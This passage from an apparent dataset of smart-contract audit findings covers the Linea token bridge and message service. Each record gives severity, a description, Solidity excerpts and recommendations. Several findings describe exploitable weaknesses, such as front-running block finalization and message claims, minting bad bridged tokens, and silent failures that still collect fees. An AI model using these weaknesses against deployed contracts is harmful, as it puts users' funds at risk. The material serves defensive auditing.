_amount);\r\n ...\r\n }\r\n \r\n```\r\nThe logic adds two conditional checks:\r\n1- If `_isNativeLayer ` is false, it means the token is not native on the source layer, and if for the same address the status is either Native or Deployed, then the native token of the destination layer should be bridged.\r\n2- If the flag is true, it means the token is native on the source layer, and if there exists a collision of the Native or Deployed status, then a new bridge token should be created.\r\n\r\n**Minting Bad Tokens**\r\nWe reviewed the PR and new integrations and found that it is still problematic. The reason is the bridging of a token with the same address, will create a `bridgedToken` on each layer. Now the `nativeToBridgedToken` status is no more Native or Deployed, but a bridge address. \r\nLet's call the native token `A` and bridgedToken be `B` and `C` on each layer respectively. Now if the bridgeToken `B` is tried to be bridged back to native token `A`, it'll be not possible, as while doing `completeBridging` both of the conditional checks will be unsatisfied. However, in any case, the bridge on the destination layer will still mint the `bridgedTokens`\r\n\r\n```\r\n BridgedToken(bridgedToken).mint(_recipient, _amount);\r\n\r\n```\r\nAs an example, the `B` tokens can be bridged to mint `C` bridgedTokens and vice-versa as and when needed. So, now it is mandatory to call `confirmDeployment` in order to allow condition 1 to be satisfied for this bridging and avoid this kind of bad minting.","dataSource":{"name":"/diligence/audits/2023/06/linea-canonical-token-bridge/","repo":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/","url":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/"}} +{"title":"Updating Message Service Does Not Emit Event","severity":"medium","body":"#### Description\r\nThe function `setMessageService` allows the owner to update the message service address. However, it does not emit any event reflecting the change. As a result, in case the owner gets compromised, it can silently add a malicious message service, exploiting users' funds. Since, there was no event emitted, off-chain monitoring tools wouldn't be able to trigger alarms and users would continue using rogue message service until and unless tracked manually.\r\n\r\n#### Examples\r\n\r\n\n**contracts/TokenBridge.sol:L237-L240**\n```solidity\nfunction setMessageService(address _messageService) public onlyOwner {\n messageService = IMessageService(_messageService);\n}\n\n```\n\r\n#### Recommendation\r\n\r\nConsider emitting an event reflecting the update from the old message service to the new one.","dataSource":{"name":"/diligence/audits/2023/06/linea-canonical-token-bridge/","repo":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/","url":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/"}} +{"title":"Lock Solidity Version in `pragma`","severity":"minor","body":"#### Description\r\n\r\nContracts should be deployed with the same compiler version they have been tested with. Locking the pragma helps ensure that contracts do not accidentally get deployed using, for example, the latest compiler which may have higher risks of undiscovered bugs. Contracts may also be deployed by others and the pragma indicates the compiler version intended by the original authors.\r\n\r\nSee [Locking Pragmas](https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/locking-pragmas/) in [Ethereum Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/).\r\n\r\n#### Examples\r\n\r\n\n**contracts/interfaces/IMessageService.sol:L2**\n```solidity\npragma solidity ^0.8.19;\n```\n\r\n\n**contracts/BridgedToken.sol:L2**\n```solidity\npragma solidity ^0.8.19;\n```\n\r\n\n**contracts/TokenBridge.sol:L2**\n```solidity\npragma solidity ^0.8.19;\n```\n\r\n\n**contracts/interfaces/ITokenBridge.sol:L2**\n```solidity\npragma solidity ^0.8.19;\n```\n\r\n#### Recommendation\r\n\r\nLock the Solidity version to the latest version before deploying the contracts to production.\r\n\r\n```Solidity\r\npragma solidity 0.8.19;\r\n```\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-canonical-token-bridge/","repo":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/","url":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/"}} +{"title":"Upgradeability Concerns","severity":"minor","body":"#### Description\r\n**1- Using Standard Interfaces and Libraries instead of Upgradeable ones.**\r\n\r\n\n**contracts/TokenBridge.sol:L5-L10**\n```solidity\nimport { IERC20Permit } from \"@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol\";\nimport { IERC20Metadata } from \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport { IERC20 } from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport { OwnableUpgradeable } from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport { PausableUpgradeable } from \"@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol\";\nimport { SafeERC20 } from \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\n```\n\r\nWe recommend using upgradeable interfaces and libraries to avoid any unexpected issues while contract upgrades, also increasing code readability.\r\n\r\n**2- Using Deprecated Files**\r\nThe contract imports file `draft-IERC20Permit` from the npm module `openzeppelin/contracts`. \r\n\n**contracts/TokenBridge.sol:L5**\n```solidity\nimport { IERC20Permit } from \"@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol\";\n```\nHowever, the file has been deprecated now, as the EIP2612 has been finalized. We recommend using the correct file which is `extensions/IERC20Permit.sol` or the corresponding upgradeable one.\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-canonical-token-bridge/","repo":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/","url":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/"}} +{"title":"TokenBridge Does Not Follow a 2-Step Approach for Ownership Transfers","severity":"minor","body":"#### Description\r\n`TokenBridge` defines a privileged role **Owner**, however, it uses a single-step approach, which immediately transfers the ownership to the new address. If accidentally passed an incorrect address, the current owner will immediately lose control over the system as there is no fail-safe mechanism. \r\n\r\nA safer approach would be to first propose the ownership to the new owner, and let the new owner accept the proposal to be the new owner. It will add a fail-safe mechanism for the current owner as in case it proposes ownership to an incorrect address, it will not immediately lose control, and may still propose again to a correct address.\r\n\r\n#### Examples\r\n\r\n\n**contracts/TokenBridge.sol:L22**\n```solidity\ncontract TokenBridge is ITokenBridge, PausableUpgradeable, OwnableUpgradeable {\n```\n\r\n#### Recommendation\r\nConsider moving to a 2-step approach for the ownership transfers as recommended above.\r\n**Note**:- Openzeppelin provides another helper utility as [Ownable2StepUpgradeable](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/access/Ownable2StepUpgradeable.sol) which follows the recommended approach\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-canonical-token-bridge/","repo":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/","url":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/"}} +{"title":"Code Corrections","severity":null,"body":"#### Description\r\n**1- Importing `ITokenBridge` twice**\r\nThe contract defines the import of interface `ITokenBridge` twice, out of which one can be removed.\r\n\n**contracts/TokenBridge.sol:L4**\n```solidity\nimport { ITokenBridge } from \"./interfaces/ITokenBridge.sol\";\n```\n\r\n\n**contracts/TokenBridge.sol:L14**\n```solidity\nimport { ITokenBridge } from \"./interfaces/ITokenBridge.sol\";\n```\n\r\n**2- Using bytes32 for a bytes4 selector**\r\nThe contract stores a 4-byte selector of `_PERMIT_SELECTOR` in a bytes32 type.\r\n\n**contracts/TokenBridge.sol:L24-L25**\n```solidity\nbytes32 private constant _PERMIT_SELECTOR =\n bytes4(keccak256(bytes(\"permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\")));\n```\n\r\nThe selector is then compared with the first 4 bytes of `_permitData` to make sure, the calldata is indeed a calldata of `permit` function. \r\n\n**contracts/TokenBridge.sol:L435-L436**\n```solidity\nif (bytes4(_permitData[:4]) != _PERMIT_SELECTOR)\n revert InvalidPermitData(bytes4(_permitData[:4]), _PERMIT_SELECTOR);\n```\nThe check will work as intended, however, if it fails, the error will revert with info containing 32 bytes of _PERMIT_SELECTOR as `0xd505accf00000000000000000000000000000000000000000000000000000000`, which may create unnecessary confusion for end users. \r\nAs a recommendation, consider using a bytes4 type for `_PERMIT_SELECTOR` and also for the custom error `InvalidPermitData`.\r\n\n**contracts/interfaces/ITokenBridge.sol:L20**\n```solidity\nerror InvalidPermitData(bytes4 permitData, bytes32 permitSelector);\n```\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-canonical-token-bridge/","repo":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/","url":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/"}} +{"title":"Heavy Blocks May Affect Block Finalization, if the Gas Requirement Exceeds Block Gas Limit","severity":"major","body":"#### Description\r\nThe `sequencer` takes care of finalizing blocks by submitting proof, blocks' data, proof type, and parent state root hash. The team mentions that the blocks are finalized every 12s, and under general scenarios, the system will work fine. However, in cases where there are blocks containing lots of transactions and event logs, the function may require gas more than the block gas limit. As a consequence, it may affect block finalization or lead to a potential DoS.\r\n\r\n#### Examples\r\n\n**contracts/contracts/ZkEvmV2.sol:L110-L115**\n```solidity\nfunction finalizeBlocks(\n BlockData[] calldata _blocksData,\n bytes calldata _proof,\n uint256 _proofType,\n bytes32 _parentStateRootHash\n)\n```\n\r\n#### Recommendation\r\nWe advise the team to benchmark the cost associated per block for the finalization and how many blocks can be finalized in one rollup and add the limits accordingly for the prover/sequencer. ","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"Postman Can Incorrectly Deliver a Message While Still Collecting the Fees","severity":"major","body":"#### Description\r\nThe message service allows cross chain message delivery, where the user can define the parameters of the message as:\r\n\r\n**from**: Sender of the message\r\n**_to**: Receiver of the message\r\n**_fee**: The fees, the sender wants to pay to the postman to deliver the message\r\n**valueSent**: The value in the native currency of the chain to be sent with the message\r\n**messageNumber**: Nonce value which increments for every message\r\n**_calldata**: Calldata for the message to be executed on the destination chain\r\n\r\nThe postman estimates the gas before claiming/delivering the message on the destination chain, thus avoiding scenarios where the fees sent are less than the cost of claiming the message.\r\n\r\nHowever, there is nothing that restricts the postman from sending the gas equal to the fees paid by the user. Although it contributes to the MEV, where the postman can select the messages with higher fees first and deliver them prior to others, it also opens up an opportunity where the postman can deliver a message incorrectly while still claiming the fees.\r\n\r\nOne such scenario is, where the low-level call to target `_to` makes another sub-call to another address, let's say `x`. Let's assume, the `_to` address doesn't check, whether the call to address `x` was successful or not. Now, if the postman supplies a gas, which makes the top-level call succeed, but the low-level call to `x` fails silently, the postman will still be retrieving the fees of claiming the message, even though the message was not correctly delivered.\r\n\r\n\r\n#### Examples\r\n\r\n\n**contracts/contracts/messageService/l1/L1MessageService.sol:L125-L135**\n```solidity\n(bool success, bytes memory returnData) = _to.call{ value: _value }(_calldata);\nif (!success) {\n if (returnData.length > 0) {\n assembly {\n let data_size := mload(returnData)\n revert(add(32, returnData), data_size)\n }\n } else {\n revert MessageSendingFailed(_to);\n }\n}\n```\n\r\n\n**contracts/contracts/messageService/l2/L2MessageService.sol:L150-L160**\n```solidity\n(bool success, bytes memory returnData) = _to.call{ value: _value }(_calldata);\nif (!success) {\n if (returnData.length > 0) {\n assembly {\n let data_size := mload(returnData)\n revert(add(32, returnData), data_size)\n }\n } else {\n revert MessageSendingFailed(_to);\n }\n}\n```\n\r\n#### Recommendation\r\n\r\nAnother parameter can be added to the message construct giving the user the option to define the amount of gas required to complete a transaction entirely. Also, a check can be added while claiming the message, to make sure the gas supplied by the postman is sufficient enough compared to the gas defined/demanded by the user. The cases, where the user can demand a huge amount of gas, can be simply avoided by doing the gas estimation, and if the demanded gas is more than the supplied fees, the postman will simply opt not to deliver the message","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"User's Funds Would Stuck if the Message Claim Failed on the Destination Layer ","severity":"major","body":"#### Description\r\nWhen claiming the message on the destination layer, if the message failed to execute with various reasons (e.g. wrong target contract address, wrong contract logic, out of gas, malicious contract), the Ether sent with `sendMessage` on the original layer will be stuck, although the message can be retried later by the Postman or the user (could fail again) \r\n#### Examples\r\n\n**contracts/contracts/messageService/l1/L1MessageService.sol:L81-L84**\n```solidity\nuint256 messageNumber = nextMessageNumber;\nuint256 valueSent = msg.value - _fee;\n\nbytes32 messageHash = keccak256(abi.encode(msg.sender, _to, _fee, valueSent, messageNumber, _calldata));\n```\n\n**contracts/contracts/messageService/l2/L2MessageService.sol:L150-L160**\n```solidity\n(bool success, bytes memory returnData) = _to.call{ value: _value }(_calldata);\nif (!success) {\n if (returnData.length > 0) {\n assembly {\n let data_size := mload(returnData)\n revert(add(32, returnData), data_size)\n }\n } else {\n revert MessageSendingFailed(_to);\n }\n}\n```\n\r\n\n**contracts/contracts/messageService/l1/L1MessageService.sol:L125-L135**\n```solidity\n(bool success, bytes memory returnData) = _to.call{ value: _value }(_calldata);\nif (!success) {\n if (returnData.length > 0) {\n assembly {\n let data_size := mload(returnData)\n revert(add(32, returnData), data_size)\n }\n } else {\n revert MessageSendingFailed(_to);\n }\n}\n```\n#### Recommendation\r\n\r\nAdd refund mechanism to refund users funds if the message failed to deliver on the destination layer \r\n\r\n\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"Front Running finalizeBlocks When Sequencers Are Decentralized ","severity":"major","body":"#### Description\r\nWhen sequencer is decentralized in the future, one sequencer could front run another sequencer's `finalizeBlocks` transaction, without doing the actual proving and sequencing, and steal the reward for sequencing if there is one. Once the frontrunner's finalizeBlocks is executed, the original sequencer's transaction would fail as `currentL2BlockNumber` would increment by one and state root hash won't match, as a result the original sequencer's sequencing and proving work will be wasted.\r\n#### Examples\r\n\n**contracts/contracts/ZkEvmV2.sol:L110-L126**\n```solidity\nfunction finalizeBlocks(\n BlockData[] calldata _blocksData,\n bytes calldata _proof,\n uint256 _proofType,\n bytes32 _parentStateRootHash\n)\n external\n whenTypeNotPaused(PROVING_SYSTEM_PAUSE_TYPE)\n whenTypeNotPaused(GENERAL_PAUSE_TYPE)\n onlyRole(OPERATOR_ROLE)\n{\n if (stateRootHashes[currentL2BlockNumber] != _parentStateRootHash) {\n revert StartingRootHashDoesNotMatch();\n }\n\n _finalizeBlocks(_blocksData, _proof, _proofType, _parentStateRootHash, true);\n}\n```\n\r\n#### Recommendation\r\nAdd the sequencer's address as one parameters in `_finalizeBlocks` function, and include the sequencer's address in the public input hash of the proof in verification function `_verifyProof`. \r\n ```\r\nfunction _finalizeBlocks(\r\n BlockData[] calldata _blocksData,\r\n bytes memory _proof,\r\n uint256 _proofType,\r\n bytes32 _parentStateRootHash,\r\n bool _shouldProve,\r\n address _sequencer\r\n ) \r\n```\r\n\r\n```\r\n_verifyProof(\r\n uint256(\r\n keccak256(\r\n abi.encode(\r\n keccak256(abi.encodePacked(blockHashes)),\r\n firstBlockNumber,\r\n keccak256(abi.encodePacked(timestampHashes)),\r\n keccak256(abi.encodePacked(hashOfRootHashes)),\r\n keccak256(abi.encodePacked(_sequencer)\r\n )\r\n )\r\n ) % MODULO_R,\r\n _proofType,\r\n _proof,\r\n _parentStateRootHash\r\n );\r\n\r\n```\r\n\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"User Funds Would Stuck if the Single Coordinator Is Offline or Censoring Messages ","severity":"major","body":"#### Description\r\nWhen user sends message from L1 to L2, the coordinator needs to post the messages to L2, this happens in the anchoring message(`addL1L2MessageHashes`) on L2, then the user or Postman can claim the message on L2. \r\nsince there is only a single coordinator, if the coordinator is down or censoring messages sent from L1 to L2, users funds can stuck in L1, until the coordinator come back online or stops censoring the message, as there is no message cancel feature or message expire feature. Although the operator can pause message sending on L1 once the coordinator is down, but if the message is sent and not posted to L2 before the pause it will still stuck. \r\n#### Examples\r\n\n**contracts/contracts/messageService/l1/L1MessageService.sol:L81-L84**\n```solidity\nuint256 messageNumber = nextMessageNumber;\nuint256 valueSent = msg.value - _fee;\n\nbytes32 messageHash = keccak256(abi.encode(msg.sender, _to, _fee, valueSent, messageNumber, _calldata));\n```\n\n**contracts/contracts/messageService/l2/L2MessageManager.sol:L42-L60**\n```solidity\nfunction addL1L2MessageHashes(bytes32[] calldata _messageHashes) external onlyRole(L1_L2_MESSAGE_SETTER_ROLE) {\n uint256 messageHashesLength = _messageHashes.length;\n\n if (messageHashesLength > 100) {\n revert MessageHashesListLengthHigherThanOneHundred(messageHashesLength);\n }\n\n for (uint256 i; i < messageHashesLength; ) {\n bytes32 messageHash = _messageHashes[i];\n if (inboxL1L2MessageStatus[messageHash] == INBOX_STATUS_UNKNOWN) {\n inboxL1L2MessageStatus[messageHash] = INBOX_STATUS_RECEIVED;\n }\n unchecked {\n i++;\n }\n }\n\n emit L1L2MessageHashesAddedToInbox(_messageHashes);\n}\n```\n\r\n\r\n\r\n#### Recommendation\r\nDecentralize coordinator and sequencer or enable user cancel or drop the message if message deadline has expired.\r\n \r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"Changing Verifier Address Doesn't Emit Event","severity":"major","body":"#### Description\r\nIn function `setVerifierAddress`, after the verifier address is changed, there is no event emitted, which means if the operator (security council) changes the verifier to a buggy verifier, or if the security council is compromised, the attacker can change the verifier to a malicious one, the unsuspecting user would still use the service, potentially lose funds due to the fraud transactions would be verified. \r\n#### Examples\r\n\r\n\n**contracts/contracts/ZkEvmV2.sol:L83-L88**\n```solidity\nfunction setVerifierAddress(address _newVerifierAddress, uint256 _proofType) external onlyRole(DEFAULT_ADMIN_ROLE) {\n if (_newVerifierAddress == address(0)) {\n revert ZeroAddressNotAllowed();\n }\n verifiers[_proofType] = _newVerifierAddress;\n}\n```\n\r\n\r\n\r\n#### Recommendation\r\nEmits event after changing verifier address including old verifier address, new verifier address and the caller account \r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"L2 Blocks With Incorrect Timestamp Could Be Finalized ","severity":"medium","body":"#### Description\r\nIn `_finalizeBlocks` of `ZkEvmV2`, the current block timestamp `blockInfo.l2BlockTimestamp` should be greater or equal than the last L2 block timestamp and less or equal than the L1 block timestamp when `_finalizeBlocks` is executed. However the first check is missing, blocks with incorrect timestamp could be finalized, causing unintended system behavior \r\n#### Examples\r\n\n**contracts/contracts/ZkEvmV2.sol:L158-L160**\n```solidity\nif (blockInfo.l2BlockTimestamp >= block.timestamp) {\n revert BlockTimestampError();\n}\n```\n\r\n\r\n#### Recommendation\r\nAdd the missing timestamp check \r\n\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"Rate Limiting Affecting the Usability and User's Funds Safety ","severity":"medium","body":"#### Description\r\nIn `claimMessage` of `L1MessageService` and `sendMessage` function of `L1MessageService` contract, function `_addUsedAmount` is used to rate limit the Ether amount (1000 Eth) sent from L2 to L1 in a time period (24 hours), this is problematic, usually user sends the funds to L1 when they need to exit from L2 to L1 especially when some security issues happened affecting their funds safety on L2, if there is a limit, the limit can be reached quickly by some whale sending large amount of Ether to L1, while other users cannot withdraw their funds to L1, putting their funds at risk. In addition, the limit can only be set and changed by the security council and security council can also pause message service at any time, blocking user withdraw funds from L2, this makes the L2->L1 message service more centralized. \r\n#### Examples\r\n\n**contracts/contracts/messageService/l1/L1MessageService.sol:L121**\n```solidity\n_addUsedAmount(_fee + _value);\n```\n\r\n\n**contracts/contracts/messageService/l2/L2MessageService.sol:L108**\n```solidity\n_addUsedAmount(msg.value);\n```\n\r\n\n**contracts/contracts/messageService/lib/RateLimiter.sol:L53-L69**\n```solidity\nfunction _addUsedAmount(uint256 _usedAmount) internal {\n uint256 currentPeriodAmountTemp;\n\n if (currentPeriodEnd < block.timestamp) {\n // Update period before proceeding\n currentPeriodEnd = block.timestamp + periodInSeconds;\n currentPeriodAmountTemp = _usedAmount;\n } else {\n currentPeriodAmountTemp = currentPeriodAmountInWei + _usedAmount;\n }\n\n if (currentPeriodAmountTemp > limitInWei) {\n revert RateLimitExceeded();\n }\n\n currentPeriodAmountInWei = currentPeriodAmountTemp;\n}\n```\n\r\n#### Recommendation\r\n\r\nRemove rate limiting for L2->L1 message service\r\n\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"Front Running claimMessage on L1 and L2 ","severity":"medium","body":"#### Description\r\nThe front-runner on L1 or L2 can front run the `claimMessage` transaction, as long as the `fee` is greater than the gas cost of the claiming the message and `feeRecipient` is not set, consequently the fee will be transferred to the `message.sender`(the front runner) once the message is claimed. As a result, postman would lose the incentive to deliver(claim) the message on the destination layer. \r\n\r\n#### Examples\r\n\r\n\n**contracts/contracts/messageService/l1/L1MessageService.sol:L137-L142**\n```solidity\nif (_fee > 0) {\n address feeReceiver = _feeRecipient == address(0) ? msg.sender : _feeRecipient;\n (bool feePaymentSuccess, ) = feeReceiver.call{ value: _fee }(\"\");\n if (!feePaymentSuccess) {\n revert FeePaymentFailed(feeReceiver);\n }\n```\n\r\n\n**contracts/contracts/messageService/l2/L2MessageService.sol:L162-L168**\n```solidity\nif (_fee > 0) {\n address feeReceiver = _feeRecipient == address(0) ? msg.sender : _feeRecipient;\n (bool feePaymentSuccess, ) = feeReceiver.call{ value: _fee }(\"\");\n if (!feePaymentSuccess) {\n revert FeePaymentFailed(feeReceiver);\n }\n}\n```\n\r\n#### Recommendation\r\nThere are a few protections against front running including flashbots service. Another option to mitigate front running is to avoid using msg.sender and have user use the signed `claimMessage` transaction by the Postman to claim the message on the destination layer \r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"Contracts Not Well Designed for Upgrades","severity":"medium","body":"#### Description\r\n\r\n1. **Inconsistent Storage Layout**\r\n\r\nThe Contracts introduce some buffer space in the storage layout to cope with the scenarios where new storage variables can be added if a need exists to upgrade the contracts to a newer version. This helps in reducing the chances of potential storage collisions. \r\nHowever, the storage layout concerning the buffer space is inconsistent, and multiple variations have been observed.\r\n\r\n* `PauseManager`, `RateLimitter`, and `MessageServiceBase` adds a buffer space of 10, contrary to other contracts which define the space as 50.\r\n\r\n\n**contracts/contracts/messageService/lib/PauseManager.sol:L22**\n```solidity\nuint256[10] private _gap;\n```\n\r\n\n**contracts/contracts/messageService/lib/RateLimiter.sol:L26**\n```solidity\nuint256[10] private _gap;\n```\n\r\n\n**contracts/contracts/messageService/MessageServiceBase.sol:L14**\n```solidity\nuint256[10] private __base_gap;\n```\n\r\n* `L2MessageService` defines the buffer space prior to its existing storage variables.\r\n \r\n\n**contracts/contracts/messageService/l2/L2MessageService.sol:L16**\n```solidity\nuint256[50] private __gap_L2MessageService;\n```\n\r\nIf there exists a need to inherit from this contract in the future, the derived contract has to define the buffer space first, similar to `L2MessageService`. If it doesn't, `L2MessageService` can't have more storage variables. If it adds them, it will collide with the derived contract's storage slots.\r\n\r\n**2. `RateLimiter` and `MessageServiceBase` initializes values without the modifier `onlyInitializing`**\r\n\r\n\n**contracts/contracts/messageService/lib/RateLimiter.sol:L33**\n```solidity\nfunction __RateLimiter_init(uint256 _periodInSeconds, uint256 _limitInWei) internal {\n```\n\r\n\n**contracts/contracts/messageService/MessageServiceBase.sol:L65**\n```solidity\nfunction _init_MessageServiceBase(address _messageService, address _remoteSender) internal {\n```\n\r\nThe modifier `onlyInitializing` makes sure that the function should only be invoked by a function marked as `initializer`. However, it is absent here, which means these are normal internal functions that can be utilized in any other function, thus opening opportunities for errors.\r\n\r\n#### Recommendation\r\n\r\n1. Define a consistent storage layout. Consider a positive number `n` for the number of buffer space slots, such that, it is equal to any arbitrary number `d - No. of occupied storage slots`. For instance, if the arbitrary number is 50, and the contract has 20 occupied storage slots, the buffer space can be 50-20 = 30. It will maintain a consistent storage layout throughout the inheritance hierarchy.\r\n\r\n2. Follow a consistent approach to defining buffer space. Currently, all the contracts, define the buffer space after their occupied storage slots, so it should be maintained in the `L2MessageService` as well.\r\n\r\n3. Define functions `__RateLimiter_init` and `_init_MessageServiceBase` as `onlyInitializing`.","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"Potential Code Corrections","severity":"minor","body":"#### Description\r\n1. Function `_updateL1L2MessageStatusToReceived` and `addL1L2MessageHashes` allows status update for already received/sent/claimed messages.\r\n\r\n\n**contracts/contracts/messageService/l1/L1MessageManager.sol:L76-L97**\n```solidity\nfunction _updateL1L2MessageStatusToReceived(bytes32[] memory _messageHashes) internal {\n uint256 messageHashArrayLength = _messageHashes.length;\n\n for (uint256 i; i < messageHashArrayLength; ) {\n bytes32 messageHash = _messageHashes[i];\n uint256 existingStatus = outboxL1L2MessageStatus[messageHash];\n\n if (existingStatus == INBOX_STATUS_UNKNOWN) {\n revert L1L2MessageNotSent(messageHash);\n }\n\n if (existingStatus != OUTBOX_STATUS_RECEIVED) {\n outboxL1L2MessageStatus[messageHash] = OUTBOX_STATUS_RECEIVED;\n }\n\n unchecked {\n i++;\n }\n }\n\n emit L1L2MessagesReceivedOnL2(_messageHashes);\n}\n```\n\r\n\n**contracts/contracts/messageService/l2/L2MessageManager.sol:L42-L59**\n```solidity\nfunction addL1L2MessageHashes(bytes32[] calldata _messageHashes) external onlyRole(L1_L2_MESSAGE_SETTER_ROLE) {\n uint256 messageHashesLength = _messageHashes.length;\n\n if (messageHashesLength > 100) {\n revert MessageHashesListLengthHigherThanOneHundred(messageHashesLength);\n }\n\n for (uint256 i; i < messageHashesLength; ) {\n bytes32 messageHash = _messageHashes[i];\n if (inboxL1L2MessageStatus[messageHash] == INBOX_STATUS_UNKNOWN) {\n inboxL1L2MessageStatus[messageHash] = INBOX_STATUS_RECEIVED;\n }\n unchecked {\n i++;\n }\n }\n\n emit L1L2MessageHashesAddedToInbox(_messageHashes);\n```\n\r\nIt may trigger false alarms, as they will still be a part of `L1L2MessagesReceivedOnL2` and `L1L2MessageHashesAddedToInbox`.\r\n\r\n2. `_updateL1L2MessageStatusToReceived` checks the status of L1->L2 messages as:\r\n\r\n\n**contracts/contracts/messageService/l1/L1MessageManager.sol:L83-L85**\n```solidity\nif (existingStatus == INBOX_STATUS_UNKNOWN) {\n revert L1L2MessageNotSent(messageHash);\n}\n```\n\r\nHowever, the status is need to be checked with `OUTBOX_STATUS_UNKNOWN` instead of `INBOX_STATUS_UNKNOWN` as it is an outbox message. This creates a hindrance in the code readability and should be fixed.\r\n\r\n3. Array `timestampHashes` stores `l2BlockTimestamp` as integers, contrary to the hashes that the variable name states.\r\n\r\n\n**contracts/contracts/ZkEvmV2.sol:L172**\n```solidity\ntimestampHashes[i] = blockInfo.l2BlockTimestamp;\n```\n\r\n4. Unused error declaration\r\n\n**contracts/contracts/messageService/lib/TransactionDecoder.sol:L21-L24**\n```solidity\n * dev Thrown when the decoding action is invalid.\n */\n\nerror InvalidAction();\n```\n\r\nTransactionDecoder defines an error as `InvalidAction` which is supposed to be thrown when the decoding action is invalid, as stated in NATSPEC comment. However, it is currently unutilized.\r\n\r\n#### Recommendation\r\n\r\n1. Only update the status for sent messages in `_updateL1L2MessageStatusToReceived`, and unknown messages in `addL1L2MessageHashes` and revert otherwise, to avoid off-chain accounting errors.\r\n2. Check the status of L1->L2 sent message with `OUTBOX_STATUS_UNKNOWN` to increase code readability.\r\n3. Either store timestamp hashes in the variable `timestampHashes` or update the variable name likewise.\r\n4. Remove the error declaration if it is not serving any purpose.","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"TransactionDecoder Does Not Account for the Missing Elements While Decoding a Transaction","severity":"minor","body":"#### Description\r\nThe library tries to decode calldata from different transaction types, by jumping to the position of calldata element in the rlp encoding. These positions are:\r\n* EIP1559: 8\r\n* EIP2930: 7\r\n* Legacy: 6\r\n\r\n#### Examples\r\n\n**contracts/contracts/messageService/lib/TransactionDecoder.sol:L69**\n```solidity\ndata = it._skipTo(8)._toBytes();\n```\n\r\n\n**contracts/contracts/messageService/lib/TransactionDecoder.sol:L83**\n```solidity\ndata = it._skipTo(7)._toBytes();\n```\n\r\n\n**contracts/contracts/messageService/lib/TransactionDecoder.sol:L97**\n```solidity\ndata = it._skipTo(6)._toBytes();\n```\n\r\n\r\nHowever, the decoder doesn't check whether the required element is there or not in the encoding provided.\r\n\r\nThe decoder uses the library RLPReader to skip to the desired element in encoding. However, it doesn't revert in case there are not enough elements to skip to, and will simply return byte `0x00`, while still completing unnecessary iterations.\r\n\r\n\n**contracts/contracts/messageService/lib/Rlp.sol:L54-L71**\n```solidity\nfunction _skipTo(Iterator memory _self, uint256 _skipToNum) internal pure returns (RLPItem memory item) {\n uint256 ptr = _self.nextPtr;\n uint256 itemLength = _itemLength(ptr);\n _self.nextPtr = ptr + itemLength;\n\n for (uint256 i; i < _skipToNum - 1; ) {\n ptr = _self.nextPtr;\n itemLength = _itemLength(ptr);\n _self.nextPtr = ptr + itemLength;\n\n unchecked {\n 